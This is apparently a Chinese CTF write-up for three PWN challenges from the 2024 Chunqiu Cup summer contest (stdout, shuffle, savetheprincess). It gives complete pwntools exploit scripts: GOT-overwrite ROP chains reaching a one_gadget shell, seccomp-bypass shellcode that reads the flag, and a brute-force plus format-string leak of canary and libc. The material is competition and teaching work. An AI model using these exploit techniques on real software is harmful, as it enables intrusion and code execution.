2024春秋杯网络安全联赛夏季赛-PWN

文章目录

stdout


溢出返回到vuln

然后rop

测试

c 复制代码
#include <stdio.h>
#include <stdlib.h>

int main() {
    //setvbuf(stdout, 0LL, 0, 0LL);
    setvbuf(stdin, 0LL, 2, 0LL);
    char a[20];
    printf("ouput1.\n");
    gets(a);
    printf("ouput2.\n");


    return 0;
}

取消掉注释后

setvbuf(stdout, 0LL, 2, 0LL)绕过

c 复制代码
#include <stdio.h>
#include <stdlib.h>

int main() {
    setvbuf(stdout, 0LL, 0, 0LL);
    setvbuf(stdin, 0LL, 2, 0LL);
    char a[20];
    printf("ouput1.\n");
    gets(a);
    setvbuf(stdout, 0LL, 2, 0LL);
    printf("ouput2.\n");
    gets(a);

    return 0;
}

执行 setvbuf(stdout, 0LL, 2, 0LL);可以看到之前的在缓冲区的上的已经输出

或者输出直到缓冲区满

使用system("/bin/sh")或者onegadget即使setvbuf(stdout, 0LL, 0, 0LL);也能立即有回显

c 复制代码
#include <stdio.h>
#include <stdlib.h>

int main() {
    setvbuf(stdout, 0LL, 0, 0LL);
    setvbuf(stdin, 0LL, 2, 0LL);
    char a[20];
    printf("ouput1.\n");
    gets(a);
    //setvbuf(stdout, 0LL, 2, 0LL);
    system("/bin/sh");
    gets(a);

    return 0;
}
c 复制代码
#include <stdio.h>
#include <stdlib.h>
typedef void (*func_ptr)();
func_ptr onegadget;

int main() {
    setvbuf(stdout, 0LL, 0, 0LL);
    setvbuf(stdin, 0LL, 2, 0LL);
    char a[20];
    printf("ouput1.\n");
    char* put_addr=&puts;
    onegadget=put_addr-0x84420+0xe3afe;
    asm("mov r12,0");
    printf("%p",put_addr);
    //setvbuf(stdout, 0LL, 2, 0LL);
    onegadget();
    //system("/bin/sh");


    return 0;
}

发现可行

参考https://starrysky1004.github.io/2024/07/05/2024-shu-qi-xue-xi-ji-lu/#toc-heading-4

显式调用fflush函数

流被关闭(调用fclose)

程序正常结束(调用exit)

思路

gadget不够,用csu里的,通过rop的一个特殊gadget修改got表,然后利用gadget满足onegadget的条件,最后调用覆盖got表

exp

python 复制代码
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
elf=ELF("./pwn")
# p=remote("8.147.128.163",16035)
# gdb.attach(p,"b main")
# pause()

elf=ELF("./pwn")

ret_addr=0x000000000040125D
stdout=0x0000000000404070
csu=0x00000000004013CA 
setvbuf=elf.plt["setvbuf"]
read=elf.got["read"]
put=elf.plt["puts"]
print(hex(read))
rbp=8*b"\xff"
payload=b"a"*0x50+rbp+p64(ret_addr)
p.sendline(payload)
#payload=b"a"*0x1f+rbp+p64(csu)+p64(1)+p64(2)+p64(stdout)+p64(0)+p64(0)+p64(0)+p64(0x00000000004013B0 ) +p64(2)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0)+p64(setvbuf)
# .text:00000000004013B0                 mov     rdx, r14
# .text:00000000004013B3                 mov     rsi, r13
# .text:00000000004013B6                 mov     edi, r12d
# .text:00000000004013B9                 call    ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
# .text:00000000004013BD                 add     rbx, 1
# .text:00000000004013C1                 cmp     rbp, rbx
# .text:00000000004013C4                 jnz     short loc_4013B0
# .text:00000000004013CA                 pop     rbx
# .text:00000000004013CB                 pop     rbp
# .text:00000000004013CC                 pop     r12
# .text:00000000004013CE                 pop     r13
# .text:00000000004013D0                 pop     r14
# .text:00000000004013D2                 pop     r15
# .text:00000000004013D4                 retn

# 0x00000000004011fc : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
#extent + csu                                                                                                                                                                                      
payload=b"a"*0x1f+rbp+p64(0x0000000000401287)+p64(csu)+  p64(0x5f6e4-6)+p64(0x0000000000404018+0x3d)+p64(0)+p64(0)+p64(0)+p64(0)  +p64(0x00000000004011fc )  +p64(0x0000000000401287)
p.sendline(payload)

p.interactive()

shuffle


使用openat,mmap,writev读Flag或者openat preadv2 writev等等


零字节绕过shuffle(零字节之前不为零的不能超过一个即可)

然后写入shellcode即可(没有栈,通过mmap分配的内容作为栈,进而存储字符串和iovec这个结构体)

exp

python 复制代码
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
elf=ELF("./pwn")
# p=remote("8.147.128.163",16035)
gdb.attach(p,"b main")
pause()


shellcode = '''mov eax,0 '''  #寄存器都被设置为零 push 0出现段错误
# shellcode += shellcraft.openat(0xffffff9c,"flag",0)#openat(AT_FDCWD,"flag",O_RDONLY)
# shellcode +=shellcraft.mmap(0,0x100,1, 1,3,0) #mmap(0,0x100,PROT_READ, MAP_SHARED,3,0)
# shellcode +=shellcraft.writev(1,'rax',0x100)
#  0x1337000:	mov    rax,0x0
# => 0x1337007:	push   0x67616c66
#    0x133700c:	mov    rsi,rsp
#    0x133700f:	mov    edi,0xffffff9c
#    0x1337014:	xor    edx,edx
#    0x1337016:	xor    eax,eax
#    0x1337018:	mov    ax,0x101
#    0x133701c:	syscall 
#    0x133701e:	push   0x1
#    0x1337020:	pop    r10
#    0x1337022:	push   0x3
#    0x1337024:	pop    r8
#    0x1337026:	xor    r9d,r9d
#    0x1337029:	xor    edi,edi
#    0x133702b:	mov    esi,0x1010201
#    0x1337030:	xor    esi,0x1010301
#    0x1337036:	mov    rdx,r10
#    0x1337039:	push   0x9
#    0x133703b:	pop    rax
#    0x133703c:	syscall 
#    0x133703e:	push   0x1
#    0x1337040:	pop    rdi
#    0x1337041:	xor    edx,edx
#    0x1337043:	mov    dh,0x1
#    0x1337045:	mov    rsi,rax
#    0x1337048:	push   0x14
#    0x133704a:	pop    rax
#    0x133704b:	syscall 

shellcode+='''
mov rdi,0
mov rsi,0x10
mov rdx,3
mov r10,0x22
mov r8,0xffffffff
mov r9,0
mov rax,0x9
syscall
mov rsp,rax
add rsp,24
push 0x67616c66

mov edi, 0xffffff9c
mov    rsi, rsp
xor    edx,edx
xor    eax,eax
mov    ax,0x101
syscall 
mov rdi,0
mov rsi,0x100
mov rdx,1
mov r10,1
mov r8,3
mov r9,0
mov rax,0x9
syscall

push 0x20
push rax
mov rdi,0x1
mov rsi,rsp
mov rdx,1
mov rax,0x14
syscall
'''
payload=asm(shellcode)
p.sendline(payload)
p.interactive()

测试的如下,对照着写shellcode就行了

c 复制代码
#include<stdio.h>
#include<unistd.h>
#include<sys/stat.h>
#include<fcntl.h>
#include<sys/types.h>
#include <sys/mman.h>
#include <errno.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main()
{
    int fd = openat(AT_FDCWD,"flag",O_RDONLY);
    if(fd==-1){
        printf("openat error!");
    }
    char*addr=mmap(0,0x100,PROT_READ, MAP_SHARED,fd,0);
    char*addr_=mmap(NULL, 0x10, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
    write(1,addr,0x100);


    struct iovec iov;
    char str[] = "Hello ";
    
    // 准备 iovec 结构体
    iov.iov_base = str;
    iov.iov_len  = strlen(str);

    // 使用 writev() 写入数据
    ssize_t n = writev(1, &iov, 1);


    return 0;
}

savetheprincess


openat+pread+write绕过



没有时间限制,也没有次数限制,可以爆破,26*7次,然后触发格式化字符串泄露canary和libc地址,然后溢出rop绕过沙箱

填充满buf,当输出buf时也会输出i从而判断是否i递增进而判断是否爆破该位正确

找不到控制第六个参数的gadget,mmap改成pread或者mprotect改栈为可执行权限,注意要页对齐,写shellcode使用openat,mmap,write读取flag

pread不能从终端输入,只能在之前加个泄露栈地址,然后flag名放栈上了

pread

pread() 函数在 Linux 和类 Unix 系统中用于从文件描述符指定的文件中读取数据,但与普通的 read() 函数不同,pread() 允许你指定从文件的哪个偏移量开始读取数据

pread() 的原型如下:

c 复制代码
#include <unistd.h>

ssize_t pread(int fd, void *buf, size_t count, off_t offset);

参数说明

  • fd: 文件描述符,指向要从中读取数据的文件。
  • buf: 指向缓冲区的指针,读取的数据将被存放到这个缓冲区中。
  • count: 要读取的字节数。
  • offset: 读取操作的起点偏移量,相对于文件的开始位置,单位是字节。

返回值

pread() 返回实际读取的字节数。如果读取失败,函数将返回 -1 并设置 errno 变量来指示错误原因。

示例代码

下面是一个使用 pread() 的示例代码:

c 复制代码
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>

int main(void) {
    int fd;
    char buffer[100];
    off_t offset = 100;  // 从文件的第100字节开始读取
    ssize_t bytes_read;

    // 打开文件
    fd = open("testfile.txt", O_RDONLY);
    if (fd == -1) {
        perror("open");
        exit(EXIT_FAILURE);
    }

    // 使用 pread 从文件的特定位置读取数据
    bytes_read = pread(fd, buffer, sizeof(buffer), offset);
    if (bytes_read == -1) {
        perror("pread");
        close(fd);
        exit(EXIT_FAILURE);
    }

    // 输出读取的数据
    buffer[bytes_read] = '\0';  // 确保字符串以 null 字符终止
    printf("Read %ld bytes: %s\n", bytes_read, buffer);

    // 关闭文件描述符
    close(fd);

    return 0;
}

exp

python 复制代码
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
elf=ELF("./pwn")
lib = ELF('./libc.so.6')
# p=remote("8.147.128.163",16035)
gdb.attach(p,"b main")
pause()


password=""
for i in range(8):
    for j  in range(26):
        p.sendlineafter(b"> \n",str(1))
        pwd=password
        pwd+=chr(ord("a")+j )
        p.sendafter(b"please input your password: \n",pwd.ljust(10,"a"))
        result=p.recvuntil(b"!!!\n",drop=True)
        print(pwd," ",result)
        print(i+1," ",result)
    
        if b"successfully" in result:
            password=pwd
            print("suceessful")
            payload=b"%9$p%11$p%10$p%15$p"   # canary pie libc
            p.send(payload)
            break
        if i+1 in result:
            password=pwd
            print("right")
            break

        print("error")


canary=int(p.recv(18),16)
pie=int(p.recv(14),16)-0x17be
stack=int(p.recv(14),16)+0xa8+0x10
libc=int(p.recv(14),16)-0x29d90
openat_add=lib.sym["openat"]+libc
pread_add=lib.sym["pread64"]+libc
write_add=lib.sym["write"]+libc
print(hex(canary),hex(pie),hex(libc))
p.sendlineafter(b"> \n",str(2))

pop_rdi=libc+0x000000000002a3e5
pop_rsi=libc+0x000000000002be51
pop_rdx_r12=libc+0x000000000011f2e7
pop_r10=pie+0x00000000000017d5
pop_r8_mov_rax_1=libc+0x00000000001659e6
pop_rax=libc+0x0000000000045eb0
syscall=libc+0x0000000000029db4
pop_rdx=libc+0x000000000003d1ee

payload=56*b"a"+p64(canary)+p64(0)+p64(pop_rdi) +p64(0xffffffffffffff9c)+p64(pop_rsi)+p64(stack)+p64(pop_rdx_r12)+p64(0)+p64(0)+p64(openat_add)
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+ p64(pie+0x4000)+p64(pop_rdx_r12)+p64(0x10)+p64(0x10)+p64(pop_rdx)+p64(0)+p64(pread_add)
payload+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+ p64(pie+0x4000)+p64(pop_rdx_r12)+p64(0x10)+p64(0x10)+p64(write_add)
payload+=b"flag\x00"
p.sendlineafter(b"Attack the dragon!!\n",payload)
p.interactive()
相关推荐
darkb1rd1 小时前
五、PHP类型转换与类型安全
android·安全·php
中科三方2 小时前
域名转移详细指南:流程、材料、注意事项和常见问题全解析
网络·安全
云小逸5 小时前
【nmap源码学习】 Nmap 源码深度解析:nmap_main 函数详解与 NSE 脚本引擎原理
网络协议·学习·安全
迎仔6 小时前
04-网络安全基础:数字世界的防盗门与守卫
网络·安全·web安全
MicroTech20257 小时前
微算法科技(NASDAQ :MLGO)量子测量区块链共识机制:保障数字资产安全高效存储与交易
科技·安全·区块链
意法半导体STM327 小时前
【官方原创】FDCAN数据段波特率增加后发送失败的问题分析 LAT1617
javascript·网络·stm32·单片机·嵌入式硬件·安全
2501_941329727 小时前
【校园安全】YOLO11-C3k2-DBB实现校园安全行为识别与异常检测系统
人工智能·安全·目标跟踪
大模型玩家七七7 小时前
安全对齐不是消灭风险,而是重新分配风险
android·java·数据库·人工智能·深度学习·安全
Guheyunyi8 小时前
什么是安全监测预警系统?应用场景有哪些?
大数据·运维·人工智能·安全·音视频
老百姓懂点AI8 小时前
[网络安全] 自动化渗透测试:智能体来了(西南总部)AI agent指挥官的攻击链构建与AI调度官的靶场编排
人工智能·web安全·自动化